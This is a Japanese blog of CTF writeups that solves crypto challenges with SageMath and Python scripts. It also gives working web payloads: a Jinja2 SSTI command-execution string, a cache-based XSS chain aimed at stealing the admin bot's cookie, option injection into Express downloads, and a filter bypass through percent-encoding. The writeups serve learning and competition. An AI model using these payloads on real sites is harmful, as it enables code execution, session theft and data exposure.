はまやんはまやんはまやん

hamayanhamayan's blog

SECCON CTF 13 Quals Writeups

チーム zoozer で出ていました!

[crypto] reiwa_rot13

問題

以下のような感じで計算されたn,e,c1,c2が与えられるので、keyを頑張って特定する問題。(本当はこの後にAES暗号化処理が書いてあるのだが、keyを特定する所が本質なので割愛)

p = getStrongPrime(512)
q = getStrongPrime(512)
n = p*q
e = 137

key = ''.join(random.sample(string.ascii_lowercase, 10))
rot13_key = codecs.encode(key, 'rot13')

key = key.encode()
rot13_key = rot13_key.encode()

print("n =", n)
print("e =", e)
print("c1 =", pow(bytes_to_long(key), e, n))
print("c2 =", pow(bytes_to_long(rot13_key), e, n))

解法

まず一番目を引くのはrot13をしている部分。求めたいkeyとkeyをrot13したものに対してRSA暗号をしている。とりあえず、RSA暗号に対する有名攻撃を順番に使えるか使えないかやっていくと、Franklin-Reiter Related Message Attackを見つけることができる。Franklin-Reiter Related Message Attackの形にしたいなーと思いながら整理すると、帰着させることが可能。

keyをrot13したものについて考えてみる。rot13は各文字について文字を13個進める操作のことであるが、13個進めた時にzを超えてしまう場合は頭のaに戻るような動きをする。つまり、普通は+13であるが、文字によっては+13-26、つまり-13されることになる。どちらになるかは初期の文字が最初の13個であるかどうかで決まる。

この操作をkeyに当てはめて考えてみよう。まず、keyは

 \displaystyle
k_1 k_2 ... k_{10}

であれば、

 \displaystyle
key = 2^{72} k_{1} + 2^{64} k_2 + ... + k_{10}

のように計算される。この時、k_{1}に対するrot13操作、つまり、±13は

 \displaystyle
key ± 2^{72} * 13

と数値の足し引きで表現することができる。

keyは全部で10文字なので、各バイトについて±13のどちらかであるかは210通りしかないので全探索でき、それが決まれば先ほどの数値計算を適用して、key + diff = rot13_keyを満たすdiffを求めることができる。そう考えると、今回の問題は

 \displaystyle
c_1 = key^e\ mod\ n\ を満たす c_1 が既知 \\
c_2 = (key + diff)^e\ mod\ n\ を満たす c_2 が既知

という問題に帰着し、これはFranklin-Reiter Related Message Attackが適用可能である。後は、アルゴリズムに従ってやるだけなので、sagemathで以下のようにkeyを求めることができる。

n = [redacted]
e = 137
c1 = [redacted]
c2 = [redacted]

from Crypto.Util.number import *

pgcd = lambda g1, g2: g1.monic() if not g2 else pgcd(g2, g1%g2)
P.<x> = PolynomialRing(Zmod(n))

for mask in range(2**10):
    diff = 0
    for i in range(10):
        if (mask & (2**i)) == 0:
            # x + 13 = y
            diff += 13 * (2**(8 * i))
        else:
            # x - 13 = y
            diff -= 13 * (2**(8 * i))
    f = x^e - c1
    g = (x + diff)^e - c2
    m = -pgcd(f, g).coefficients()[0]
    try:
        print(long_to_bytes(int(m)))
    except:
        pass

あとはkeyをsha256ハッシュにして最終的なkeyを作り、AES-ECB復号化すればフラグが得られる。

[crypto] dual_summon

問題について

問題のソースコードは以下。

from Crypto.Cipher import AES
import secrets
import os
import signal

signal.alarm(300)

flag = os.getenv('flag', "SECCON{sample}")

keys = [secrets.token_bytes(16) for _ in range(2)]
nonce = secrets.token_bytes(16)

def summon(number, plaintext):
    assert len(plaintext) == 16
    aes = AES.new(key=keys[number-1], mode=AES.MODE_GCM, nonce=nonce)
    ct, tag = aes.encrypt_and_digest(plaintext)
    return ct, tag

# When you can exec dual_summon, you will win
def dual_summon(plaintext):
    assert len(plaintext) == 16
    aes1 = AES.new(key=keys[0], mode=AES.MODE_GCM, nonce=nonce)
    aes2 = AES.new(key=keys[1], mode=AES.MODE_GCM, nonce=nonce)
    ct1, tag1 = aes1.encrypt_and_digest(plaintext)
    ct2, tag2 = aes2.encrypt_and_digest(plaintext)
    # When using dual_summon you have to match tags
    assert tag1 == tag2

print("Welcome to summoning circle. Can you dual summon?")
for _ in range(10):
    mode = int(input("[1] summon, [2] dual summon >"))
    if mode == 1:
        number = int(input("summon number (1 or 2) >"))
        name   = bytes.fromhex(input("name of sacrifice (hex) >"))
        ct, tag = summon(number, name)
        print(f"monster name = [---filtered---]")
        print(f"tag(hex) = {tag.hex()}")

    if mode == 2:
        name   = bytes.fromhex(input("name of sacrifice (hex) >"))
        dual_summon(name)
        print("Wow! you could exec dual_summon! you are master of summoner!")
        print(flag)

keys[0]を使うAES-GCMの暗号器0と、keys[1]を使うAES-GCMの暗号器1が用意される。どちらも暗号化復号化の時に使うnonceは共通で固定である。keys, nonceは与えられない。

代わりに2つのmodeの操作が行える。

  • mode=1: 暗号器を選択して任意の平文を暗号化し、タグだけを得る
  • mode=2: 任意の平文を入力し、2つの暗号器が出力するタグが一致すればフラグが得られる

最初に

nonceが共通しているので、そこが弱点だろうということはなんとなく分かる。nonceがランダムでないと安全でないのは共通認識なので、タグを頑張って衝突させてねと言うことだろう。AES-GCM、良く知らないので検索するとkurenaif先生の動画が見つかるので、ちゃんと見る。

www.youtube.com

「nonce固定だとmacを実はバイパスできるんだよね~」と言ってはいるが、肝心な所は教えてくれない… もう少しGCMについて調べると本当は怖いAES-GCMの話という無茶苦茶参考になるブログが見つかる。このブログを読んでいくと方針が立ってくる。

GCMの処理は他のCBCとかに比べると複雑だが、16bytesのみ暗号化するということ、また、特殊な和積を導入すると比較的扱いやすいタグを求める式が立てられる。16bytesを暗号化するAES-GCMは、暗号文をC、’0’*16を暗号化したものをH, 長さのバイト列にしたものをL, nonceを暗号化したものをSと置くと、最終的なタグ T は、

 \displaystyle
\begin{equation}
T = CH^2 + LH + S \tag{1}
\end{equation}

と書くことができる。

H2を求める

この式をこねくり回すことで、2つの暗号器のH2をそれぞれ求めることができる。平文P、nonce+1を暗号化したものをS’とするとGCMのアルゴリズムにより

 \displaystyle
C = P + S'

と書ける。ここで、平文の最下位ビットをフリップさせた新しい平文P + 1を暗号化することを考えよう。今回使っている「特殊な和積」の和はxorであるため、最下位ビットのフリップは+1として表現できる。よって、P+1を暗号化するときの式は、

 \displaystyle
P + 1 + S' = C + 1

となる。よって、P + 1を暗号化したときの最終的なタグT’は

 \displaystyle
\begin{equation}
T’ = (C + 1)H^2 + LH + S \tag{2}
\end{equation}

と書ける。ここで、(1)と(2)の両辺を足すと、和がxorであることからA+A=0なので、以下のようにH2のみが残る。

 \displaystyle
\begin{equation}
T + T' = H^2
\end{equation}

T + T’は問題環境から得られるのでH2を求めることができる。この方法を使って、2つのAES暗号器におけるH2の値を求めることができた。

Tagの衝突

次に同じ平文を入力したときに、同じTagが出力されるようにする。表記上片方のAESについては大文字、もう片方のAESについては小文字を使って書くことにする。(共通のものについては大文字で統一)すると、2つのAESについてタグの生成はこのようになる。

 \displaystyle
T = CH^2 + LH + S \\
t = ch^2 + Lh + s

次に、2つのAES暗号器に与える平文は同じものである必要があるので、ここから同じ値を両方の平文に足すことを考える。両方の平文に同じ値 k を足すと以下のように式が変形される。

 \displaystyle
(C + k)H^2 + LH + S = CH^2 + LH + S + kH^2 = T + kH^2 \\
(c + k)h^2 + Lh + s = ch^2 + Lh + s + kh^2 = t + kh^2

今回はこの足した結果が等しくなればよいので

 \displaystyle
T + kH^2 = t + kh^2

を満たせばよい。ここで任意の同じ平文 P を2つのAES暗号器に与えて、T,tをmode=1により取得しておく。これにより、T, t, H2, h2が既知の状態になるので、

 \displaystyle
k = \frac{T + t}{H^2 + h^2}

でkを求めることができ、P+kをすることで同じタグを生成する平文を作り出すことができる。

PoCコード

以下のようなsagemathコードを用意して、手動でクエリ結果とやり取りしながらフラグを得た。

P.<x> = PolynomialRing(GF(2))
GF2_128 = GF(2**128, name='a', modulus=x^128 + x^7 + x^2 + x + 1)

from Crypto.Util.number import *
from Crypto.Cipher import AES

def bytes_to_poly(b):
    v = int.from_bytes(b, 'big')
    v = int(f"{v:0128b}"[::-1], 2)
    return GF2_128.from_integer(v)

def reverse_bits(num, bit_length):
    bin_rep = format(num, f'0{bit_length}b')
    reversed_bin_rep = bin_rep[::-1]
    reversed_num = int(reversed_bin_rep, 2)
    return reversed_num

def int_to_poly(b):
    return GF2_128.from_integer(reverse_bits(b,128))

def poly_to_bytes(p):
    v = p.integer_representation()
    v = int(f"{v:0128b}"[::-1], 2)
    return v.to_bytes(16, 'big')

tag_a_0 = int_to_poly(0xd39af8a6a972d68f5e0051e40db27366) # 00000000000000000000000000000000
tag_a_1 = int_to_poly(0xaad442977b1d889f17629142a28218e7) # 80000000000000000000000000000000

tag_b_0 = int_to_poly(0x5e4ec2309516675ae6d0bad182a0a787)
tag_b_1 = int_to_poly(0xeeb6e1c5b192f937f9519ad25932fba2)

hh_a = (tag_a_1 + tag_a_0)
hh_b = tag_b_1 + tag_b_0

k = (tag_a_0 - tag_b_0) / (hh_a - hh_b)

ans = 0
for c in k.polynomial():
    ans = ans * 2 + int(c)
print(hex(ans)[2:])

AlpacaHack Round 7 (Web) Writeups

[web] Treasure Hunt

javascript, expressで作られたページが与えられる。

import express from "express";

const html = `
<h1>Treasure Hunt 👑</h1>
[redacted]
</ul>
`.trim();

const app = express();

app.use((req, res, next) => {
  res.type("text");
  if (/[flag]/.test(req.url)) {
    res.status(400).send(`Bad URL: ${req.url}`);
    return;
  }
  next();
});

app.use(express.static("public"));

app.get("/", (req, res) => res.type("html").send(html));

app.listen(3000);

フラグはDockerfileにて以下のように用意されている。

# Create flag.txt
RUN echo 'Alpaca{REDACTED}' > ./flag.txt

# Move flag.txt to $FLAG_PATH
RUN FLAG_PATH=./public/$(md5sum flag.txt | cut -c-32 | fold -w1 | paste -sd /)/f/l/a/g/./t/x/t \
    && mkdir -p $(dirname $FLAG_PATH) \
    && mv flag.txt $FLAG_PATH

試しにDockerで立ち上げて中を見てみると、フラグは以下のような場所に置いてあることになる。

/app/public/3/8/7/6/9/1/7/c/b/d/1/b/3/d/b/1/2/e/3/9/5/8/7/c/6/6/a/c/2/8/9/1/f/l/a/g/t/x/t

最後のf/l/a/g/t/x/tは分かっているとして、前半のランダム部分をどうやって特定していくかが問題のキモになる。色々実験すると、例えば上の例であれば/app/public/3なら301応答、/app/public/2なら404応答のように存在するかしないかで応答が変化していることが分かる。応答が変化しているということは、逆に応答を見れば存在するかどうかが判定可能ということになる。 よって、先頭から順番に[0-9a-f]の範囲でリクエストを送ってみてステータスコードが301のものがあれば、それを採用して次の階層を探索…というのを続けていくことでパス全体を特定していく。

注意点としてif (/[flag]/.test(req.url)) {という検証がある関係でaとfはそのまま入力することができない。この文字に関してはパーセントエンコーディングによって検証を回避することができる。今までは書いたことを全て実装して以下のような探索コードを書けばパスを取得可能。

import httpx

dic = "0123456789abcdef"
BASE = "http://[redacted]/"

def test(url):
    return httpx.get(url).status_code == 301

path = ""
for _ in range(32):
    for c in dic:
        if c == 'a':
            if test(BASE + path + "/%61"):
                print(c)
                path += "/%61"
                break
        elif c == 'f':
            if test(BASE + path + "/%66"):
                print(c)
                path += "/%66"
                break
        else:
            if test(BASE + path + f"/{c}"):
                print(c)
                path += f"/{c}"
                break
    print(path)

よもやま話。最初いつも使っているrequestsを使っていたのだが、URL中のパーセントエンコーディングの制御がうまくできず破滅してしまったのでhttpxに切り替えて実装した。第一問目は実装速度勝負問題だったので、勝負に負けて悔しい。

これで、乱数パス部分は復元できたので、末尾に%66/%6c/%61/%67/t/x/tをつけてリクエストすればフラグがもらえる。

[web] minimal-waf 解けなかった

javascript, expressで作られた以下のサイトとフラグをcookieに入れてアクセスするadminbotが与えられる問題。

import express from "express";

const indexHtml = `
<title>HTML Viewer</title>
[redacted]
</body>
`.trim();

express()
  .get("/", (req, res) => res.type("html").send(indexHtml))
  .get("/view", (req, res) => {
    const html = String(req.query.html ?? "?").slice(0, 1024);

    if (
      req.header("Sec-Fetch-Site") === "same-origin" &&
      req.header("Sec-Fetch-Dest") !== "document"
    ) {
      // XSS detection is unnecessary because it is definitely impossible for this request to trigger an XSS attack.
      res.type("html").send(html);
      return;
    }

    if (/script|src|on|html|data|&/i.test(html)) {
      res.type("text").send(`XSS Detected: ${html}`);
    } else {
      res.type("html").send(html);
    }
  })
  .listen(3000);

単純に/view?html=<s>XSS</s>とするとHTMLインジェクションはできていることが分かる。しかし、scriptタグなどのXSSできそうなものを使おうとすると、if (/script|src|on|html|data|&/i.test(html)) {の検証部分に阻まれてXSSできない。

Sec-Fetch-*に関する検証部分

特徴的な点といえばやはりSec-Fetch-*に関する検証がある所だろう。same-originで、かつ、普通のサイト閲覧じゃない読み込み(トップレベルナビゲーション以外で読み込み)の場合は厄介な検証を回避することができる。HTMLインジェクションができるということを考えると、何かしらのタグを使って/viewに対して読み込みを頑張るのではないだろうか。

mdnを見てみよう。Sec-Fetch-Dest

Sec-Fetch-Dest: audio
Sec-Fetch-Dest: audioworklet
Sec-Fetch-Dest: document
Sec-Fetch-Dest: embed
Sec-Fetch-Dest: empty
Sec-Fetch-Dest: fencedframe
Sec-Fetch-Dest: font
Sec-Fetch-Dest: frame
Sec-Fetch-Dest: iframe
Sec-Fetch-Dest: image
Sec-Fetch-Dest: manifest
Sec-Fetch-Dest: object
Sec-Fetch-Dest: paintworklet
Sec-Fetch-Dest: report
Sec-Fetch-Dest: script
Sec-Fetch-Dest: serviceworker
Sec-Fetch-Dest: sharedworker
Sec-Fetch-Dest: style
Sec-Fetch-Dest: track
Sec-Fetch-Dest: video
Sec-Fetch-Dest: webidentity
Sec-Fetch-Dest: worker
Sec-Fetch-Dest: xslt

document以外の読み込みで、if (/script|src|on|html|data|&/i.test(html)) {の検証を回避できそうなものとして、

<link rel="stylesheet" href="http://localhost:3000/view?...">
<link rel="manifest" href="http://localhost:3000/view?...">

がある。試しにstylesheetの方で試してみよう。

<link rel="stylesheet" href="http://localhost:3000/view?html=<script>alert(origin);</script>">

これを試すと、htmlとscriptが検証に引っ掛かってしまう。だが、これはパーセントエンコーディングで回避可能。つまり、

<link rel="stylesheet" href="http://localhost:3000/view?%68tml=<%73cript>alert(origin);</%73cript>">

を入力してみると、linkタグを埋め込むことができ、href部分がいい感じに解釈されてリクエストが飛ぶ。このリクエストでは、sec-fetch-dest: stylesec-fetch-site: same-originが付いてくるので検証が回避され、<script>alert(origin);</script>というのが帰ってくることになる。いい感じ。

この結果をどう呼び出すか

<script>alert(origin);</script>という応答が得られるルートは分かったが、これをどうHTMLとして解釈させる方法が次の課題。ここは飛躍が必要な部分で、自分は自分のCTFメモを上から順に眺めて発見した。最近流行りのクライアントサイドのキャッシュを利用したXSSテクを利用すると実現できた。

作問者であるArkさんが過去出題したspanoteで紹介されているテクを使う。ページの戻るを使うことでキャッシュを使わせて違うタイミングで取得したコンテンツを表示させるものである。これにより、linkタグのhrefで取得した内容を、普通にページで開く(トップレベルナビゲーションで開く)ことができる。以下のような流れで攻撃を行う。

  1. キャッシュ汚染を利用したいページXを普通に(トップレベルナビゲーションで)開く
  2. ページXがキャッシュさせたいコンテンツを返すように頑張る
  3. ページの戻るを行うページに遷移させ、手順1のページまで戻す。すると、キャッシュが利用され、手順2でキャッシュしたコンテンツが普通に(トップレベルナビゲーションで)帰ってくる

分かりにくいと思うのでもう少し具体的に書く。

  1. まず、http://localhost:3000/view?%68tml=<%73cript>alert(origin);</%73cript>を開く

  2. 次に、http://localhost:3000/view?html=%3Clink+rel%3D%22stylesheet%22+href%3D%22http%3A%2F%2Flocalhost%3A3000%2Fview%3F%2568tml%3D%3C%2573cript%3Ealert%28origin%29%3B%3C%2F%2573cript%3E%22%3Eを開く。
    この時、<link rel="stylesheet" href="http://localhost:3000/view?%68tml=<%73cript>alert(origin);</%73cript>">というのが埋め込まれるので、そこから更にhttp://localhost:3000/view?%68tml=%3C%73cript%3Ealert(origin);%3C/%73cript%3Eが呼ばれる。
    この部分が重要で、これはつまり手順1と同じURLを開いていることになるのだが、stylesheetとして読み込んでいるため、Sec-Fetch-Dest: styleとなり、結果として入力値がそのまま帰ってくる。そして、それがクライアントサイドでキャッシュされる!

  3. 「ページの戻るを行うページ」として、back.htmlを自前でホストしておいて、そこに遷移させる。back.htmlの中身は<script>history.go(-2);</script>。このページに遷移すると、2ページ戻るため、手順1でのページに戻される。このとき、手順1のサイトを表示するためにブラウザはブラウザがキャッシュしたものを利用するが、手順2でキャッシュしたものを採用してくれる。これにより、stylesheetとして読み込んだキャッシュデータではあるが、普通のサイト表示としてキャッシュが利用されてしまう。

これでアラートが出ます!PoCコードの方が分かりやすいかもしれません。以下のようなサイトを踏ませることでアラートを出させることができます。

<script>
    const sleep = ms => new Promise(r => setTimeout(r, ms))
    setTimeout(async () => {
        w = window.open(`http://localhost:3000/view?%68tml=<%73cript>alert(origin);</%73cript>`);
        await sleep(3000);
        w.location = 'http://localhost:3000/view?html=%3Clink+rel%3D%22stylesheet%22+href%3D%22http%3A%2F%2Flocalhost%3A3000%2Fview%3F%2568tml%3D%3C%2573cript%3Ealert%28origin%29%3B%3C%2F%2573cript%3E%22%3E';
        await sleep(3000);
        w.location = 'http://[yours].ngrok-free.app/back.html'; // 2 back
    }, 0)
</script>

これでXSS達成したので、あとはalert(origin);部分をcookieを送るものに変更してadmin-botに踏ませればフラグ獲得です。

ちなみに、manifestを使う場合のPoCはこちらです。fetch('https...fetch('http...にして活用ください。

余談

何故かPoCが動かない…となってコンテスト終了していたが、fetchでhttpsをやっていてSecure Contextに引っ掛かっていたのと、何故かadmin-botlocalhostではなくIPアドレスの方で送らないといけないと思っており(web歴何年目?)、keymoonさんとarkさんから本質的なアドバイスをもらっていたのに訳の分からないリプをしてしまい大反省。

HeroCTF v6 Writeups

https://ctftime.org/event/2496

[crypto] Interpolation

以下のようなsageファイルが与えられる。

#!/usr/bin/sage
import hashlib
import re

with open("flag.txt", "rb") as f:
    FLAG = f.read()
    assert re.match(rb"Hero{[0-9a-zA-Z_]{90}}", FLAG)

F = FiniteField(2**256 - 189)
R = PolynomialRing(F, "x")
H = lambda n: int(hashlib.sha256(n).hexdigest(), 16)
C = lambda x: [H(x[i : i + 4]) for i in range(0, len(FLAG), 4)]

f = R(C(FLAG))

points = []
for _ in range(f.degree()):
    r = F.random_element()
    points.append([r, f(r)])
print(points)

flag = input(">").encode().ljust(len(FLAG))

g = R(C(flag))

for p in points:
    if g(p[0]) != p[1]:
        print("Wrong flag!")
        break
else:
    print("Congrats!")

何をしているかというと、フラグを4文字ずつに分けてsha256ハッシュにしたものを係数とした関数を準備して、その関数上の点がいくつか与えられるのでフラグを求めよと言う問題。

ラグランジュ補間

フラグはre.match(rb"Hero{[0-9a-zA-Z_]{90}}", FLAG)を満たす必要があるため、フラグの長さは96文字となる。これが4文字ずつに分かれるので、24個の係数が生成されることになる。この係数を  a_i とすると

 \displaystyle
a_0 = sha256(\verb|"Hero"|) \\
a_1 = sha256(\verb|"{???"|) \\
...\\
a_{23} = sha256(\verb|"???}"|) \\

という感じになり、用意される関数は

 \displaystyle
f(x) = a_0 + a_1 x + ... + a_{23} x^{23}

という感じになる。この関数上で23個の点が与えられる。この時点で、かなりラグランジュ補間っぽさがあるのだが、問題はラグランジュ補間を行うのに点が1つ足りないことである。23次多項式であるため、24個の点が必要。ここでa_0 = sha256(\verb|"Hero"|)の条件を活用する。a_0はsha256エンコードする文字列が全てわかっているので計算することが可能。これを使うことで関数の次数を1つ減らすことができる。

 \displaystyle
\begin{eqnarray*}
y &=& a_0 + a_1 x + ... + a_{23} x^{23} \\
y - a_0 &=& a_1 x + ... + a_{23} x^{23} \\
\frac{y - a_0}{x} &=& a_1 + ... + a_{23} x^{22}
\end{eqnarray*}

これは次数が減っているのか?という印象を受けるだろうが、これで与えられている関数上の点を(x,y')=(x,\frac{y - a_0}{x})のように変換してやると、

 \displaystyle
y' = a_1 + ... + a_{23} x^{22}

となって22次多項式になる。あとは、ラグランジュ補間をすれば、a_1からa_{22}までを復元することができる。

a_iを文字列に戻す

このパートはそれほど難しくなく、4文字の文字列を全探索してハッシュ値が一致するものを採用すれば復元可能。sha256計算が重いので、O(|a| * |\verb|candidate_chars||^4)のように毎回全探索するのではなく、文字列とハッシュ値の辞書を前計算しておき、O(|a| + |\verb|candidate_chars||^4)にしておくと良い。

sageソルバー

from output import points
import hashlib
import sys

hash_dic = {}
dic = "0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM_{}"
for c1 in dic:
    print(c1, file=sys.stderr)
    for c2 in dic:
        for c3 in dic:
            for c4 in dic:
                h = int(hashlib.sha256((c1 + c2 + c3 + c4).encode()).hexdigest(), 16)
                c = c1+c2+c3+c4
                hash_dic[h]=c

P = 115792089237316195423570985008687907853269984665640564039457584007913129639747 # 2**256 - 189
R.<x> = PolynomialRing(FiniteField(P))

H = lambda n: int(hashlib.sha256(n).hexdigest(), 16)
a0 = H(b"Hero")

points2 = []
for ps in points:
    x = ps[0]
    y = ps[1]

    y = (y - a0 + P) % P
    y = (y * pow(x, -1, P)) % P
    points2.append([ps[0], y])
f = R.lagrange_polynomial(points2)

print(f)
print(f.coefficients()[0])

for i in range(23):
    if f.coefficients()[i] in hash_dic:
        print(hash_dic[f.coefficients()[i]])

[crypto] Paranoia

from cryptography.hazmat.primitives.ciphers.algorithms import AES, SM4
from cryptography.hazmat.primitives.ciphers import Cipher, modes
import os


class Paranoia:
    def __init__(self, keys):
        self.keys = keys

    def __pad(self, data: bytes, bs: int) -> bytes:
        return data + (chr(bs - len(data) % bs) * (bs - len(data) % bs)).encode()

    def __encrypt(self, algorithm, data: bytes, key: bytes):
        cipher = Cipher(algorithm(key), modes.ECB())
        encryptor = cipher.encryptor()
        return encryptor.update(data) + encryptor.finalize()

    def encrypt(self, data: bytes):
        """
        🇨🇳 encryption to protect against the 🇺🇸 backdoor and
        🇺🇸 encryption to protect against the 🇨🇳 backdoor

        I'm a genius !
        """

        data = self.__pad(data, 16)
        data = self.__encrypt(AES, data, self.keys[0])
        data = self.__encrypt(SM4, data, self.keys[1])
        return data


with open("flag.txt", "rb") as f:
    flag = f.read()

keys = [os.urandom(16) for _ in range(2)]
paranoia = Paranoia(keys)

banner = b"I don't trust governments, thankfully I've found smart a way to keep my data secure."

print("pt_banner =", banner)
print("ct_banner =", paranoia.encrypt(banner))
print("enc_flag  =", paranoia.encrypt(flag))

# To comply with cryptography export regulations,
# 6 bytes = 2**48 bits, should be bruteforce-proof anyway
for n, k in enumerate(keys):
    print(f"k{n} = {k[3:]}")

以下のような暗号化コードが与えられる。以下のように暗号するプログラムで、1つの(plain,encrypted)の組と、flagを暗号化したものが与えられる。

                                                     
               key1            key2                  
                                                     
                │                │                   
             ┌──▼──┐          ┌──▼──┐                
             │     │          │     │                
   plain ───►│ AES ├── mid ──►│ SM4 ├───► encrypted  
             │     │          │     │                
             └─────┘          └─────┘                
                                                     

重要なのが、使われるkey1とkey2の先頭6bytes分を除いた部分も与えられるということ。6 bytesは2**48通り、つまり、2 * 1014通りということで競技プログラミングならアウトではあるが、もう少し時間があるCTFではまだ全探索できる範囲内。だが、key1とkey2を同時に全探索することはCTFでも時間が足りない。

半分全列挙

ここで半分全列挙的なアプローチが取れる。plainをAES暗号化してSM4暗号化した結果がencryptedと一致するかを確かめるのではなく、plainをAES暗号化した結果とencryptedをSM4復号化した結果が一致するかを確かめることにしよう。

まず、key1の未知部分を全探索して、plainをAES暗号化した結果とその時のkey1の辞書を作る。これで2^{48}通りかかる。つぎに、key2の未知部分を全探索して、encryptedをSM4復号化した結果を計算し、それと事前計算しておいた辞書にAES暗号化した結果とSM4復号化した結果が一致するようなものが無いかを探す。これも2^{48}通りの全探索で済む。(一致するようなものを探す際はdict型などを使おう)これで一致するものがあれば、plain + key1 - AES -> mid + key2 -SM4-> encryptedが見つかることになり、key1とkey2を特定できる。

特定できれば後はそれを使ってflagを暗号化したものを復号化すればフラグが手に入る。

pythonソルバー

from cryptography.hazmat.primitives.ciphers.algorithms import AES, SM4
from cryptography.hazmat.primitives.ciphers import Cipher, modes

def encrypt(algorithm, data: bytes, key: bytes):
    cipher = Cipher(algorithm(key), modes.ECB())
    encryptor = cipher.encryptor()
    return encryptor.update(data) + encryptor.finalize()

def decrypt(algorithm, data: bytes, key: bytes):
    cipher = Cipher(algorithm(key), modes.ECB())
    decryptor = cipher.decryptor()
    return decryptor.update(data) + decryptor.finalize()

pt_banner = b"I don't trust governments, thankfully I've found smart a way to keep my data secure."
ct_banner = b"\xd5\xae\x14\x9de\x86\x15\x88\xe0\xdc\xc7\x88{\xcfy\x81\x91\xbaH\xb6\x06\x02\xbey_0\xa5\x8a\xf6\x8b?\x9c\xc9\x92\xac\xdeb=@\x9bI\xeeY\xa0\x8d/o\xfa%)\xfb\xa2j\xd9N\xf7\xfd\xf6\xc2\x0b\xc3\xd2\xfc\te\x99\x9aIG\x01_\xb3\xf4\x0fG\xfb\x9f\xab\\\xe0\xcc\x92\xf5\xaf\xa2\xe6\xb0h\x7f}\x92O\xa6\x04\x92\x88"
enc_flag = b"\xaf\xe0\xb8h=_\xb0\xfbJ0\xe6l\x8c\xf2\xad\x14\xee\xccw\xe9\xff\xaa\xb2\xe9c\xa4\xa0\x95\x81\xb8\x03\x93\x7fg\x00v\xde\xba\xfe\xb92\x04\xed\xc4\xc7\x08\x8c\x96C\x97\x07\x1b\xe8~':\x91\x08\xcf\x9e\x81\x0b\x9b\x15"
k0 = b'C\xb0\xc0f\xf3\xa8\n\xff\x8e\x96g\x03"'
k1 = b"Q\x95\x8b@\xfbf\xba_\x9e\x84\xba\x1a7"

plain = pt_banner[:16]
encrypted = ct_banner[:16]

mid_cands = {}
for key_prefix in range(256*256*256):
    key0 = key_prefix.to_bytes(3, 'big') + k0
    mid = encrypt(AES, plain, key0)
    mid_cands[mid] = key0

for key_prefix in range(256*256*256):
    key1 = key_prefix.to_bytes(3, 'big') + k1
    mid = decrypt(SM4, encrypted, key1)
    if mid in mid_cands:
        key0 = mid_cands[mid]
        print(f"{key0=}")
        print(f"{key1=}")

        mid = decrypt(SM4, enc_flag, key1)
        flag = decrypt(AES, mid, key0)
        print(flag)
        exit(0)

[web] Jinjatic

ソースコード有り。/getflagの実行結果が得られればフラグが手に入る。攻撃箇所は以下。

@app.route('/render', methods=['POST'])
def render_email():
    email = request.form.get('email')

    try:
        email_obj = EmailModel(email=email)
        return Template(email_template%(email)).render()
    except ValidationError as e:
        return render_template('mail.html', error="Invalid email format.")

メールアドレスとして正しい、かつ、jinja2向けのSSTIペイロードを送り込めば良い。調べるとpython-email-validatorが使われているようだ。

"DisplayName" <me@example.com>

こういう便利構文が通るので、

"{{lipsum.__globals__.os.popen('/getflag').read()}}" <me@example.com>

これでフラグが手に入る。

[web] PrYzes

ソースコード有り。pythonで書かれたサイトが与えられる。

app = Flask(__name__)
FLAG = getenv("FLAG", "Hero{FAKE_FLAG}")

def compute_sha256(data):
    sha256_hash = hashlib.sha256()
    sha256_hash.update(data.encode("utf-8"))
    return sha256_hash.hexdigest()

@app.route("/", methods=["GET"])
def index():
    return render_template("index.html")

@app.route("/api/prizes", methods=["POST"])
def claim_prizes():
    data = request.json
    date_str = data.get("date")
    received_signature = request.headers.get("X-Signature")

    json_data = json.dumps(data)
    expected_signature = compute_sha256(json_data)

    if not received_signature == expected_signature:
        return jsonify({"error": "Invalid signature"}), 400
    
    if not date_str:
        return jsonify({"error": "Date is missing"}), 400

    try:
        date_obj = datetime.strptime(date_str, "%d/%m/%Y")
        if date_obj.year >= 2100:
            return jsonify({"message": FLAG}), 200

        return jsonify({"error": "Please come back later..."}), 400
    except ValueError:
        return jsonify({"error": "Invalid date format"}), 400

署名付きでデータを受け取っており、jsonのdataに2100年以降の日付を入力できればフラグが手に入る。index.htmlを見るとtext/pythonで送信スクリプトが書かれているので真似して2100以降の日付を送ろう。

import hashlib
import json
from datetime import datetime
import requests

def on_complete(req):
    json_data = json.loads(req.text)
    if req.status == 200:
        alert(json_data.get("message"))
    else:
        alert(f"Error: {json_data.get('error')}")

def compute_sha256(data):
    sha256_hash = hashlib.sha256()
    sha256_hash.update(data.encode('utf-8'))
    return sha256_hash.hexdigest()

def get_current_date():
    current_date = datetime.now().strftime("%d/%m/%Y")
    return current_date

data = {
    "date": "27/10/9999"
}
json_data = json.dumps(data)
signature = compute_sha256(json_data)

print(requests.post('http://[redacted]/api/prizes', headers={
    'Content-Type': 'application/json',
    'X-Signature': signature
}, data=json_data).text)

[web] SampleHub

ソースコード有り。/.flag.txtが取得できればフラグ獲得。メインのソースコードは非常に簡潔。

const express = require("express");
const path    = require("path");

const app  = express();
const PORT = 3000;

app.use(express.static(path.join(__dirname, "public")));
app.set("view engine", "ejs");
app.set("views", path.join(__dirname, "views"));

app.get("/", (req, res) => {
    res.render("index");
});

process.chdir(path.join(__dirname, "samples"));
app.get("/download/:file", (req, res) => {
    const file = path.basename(req.params.file);
    res.download(file, req.query.filename || "sample.png", (err) => {
        if (err) {
            res.status(404).send(`File "${file}" not found`);
        }
    });
});


app.listen(PORT, () => {
    console.log(`Server is running on http://localhost:${PORT}`);
});

パストラバーサルを狙うがうまくいかない。path.basenameやres.downloadの第一引数などを人力fuzzingしてみるが刺さらない。観点が違っていて、res.downloadの第二引数に注目するのが正解。

res.downloadを見ると、optionsという引数があり、その表を見てみるとdotfilesという欄がある。通常だとignoreとなっており、今回取得したい.flag.txtは普通は取得できないようだ。ということは何とかしてこのoptionsを埋め込む必要があるのだが、filenameに関して型が指定されていないので辞書型を差し込むことができる。これでパスのルートディレクトリを指定できるrootも指定できるので、以下のようにリクエストを送ってやると、optionsとしてrootとdotfilesを差し込むことができ、フラグが手に入る。

GET /download/.flag.txt?filename[root]=/&filename[dotfiles]=allow HTTP/1.1
Host: [redacted]
Connection: keep-alive

SpookyCTF 2024 Writeups

https://ctftime.org/event/251634

[crypto] the-moth-flies-at-dawn

hash.txtというハッシュが書かれたファイルとwordList.txtという辞書ファイルが与えられる。ヒントが問題の本質。

HINT: It would be a SHAme if all 256 of these meals went to waste.

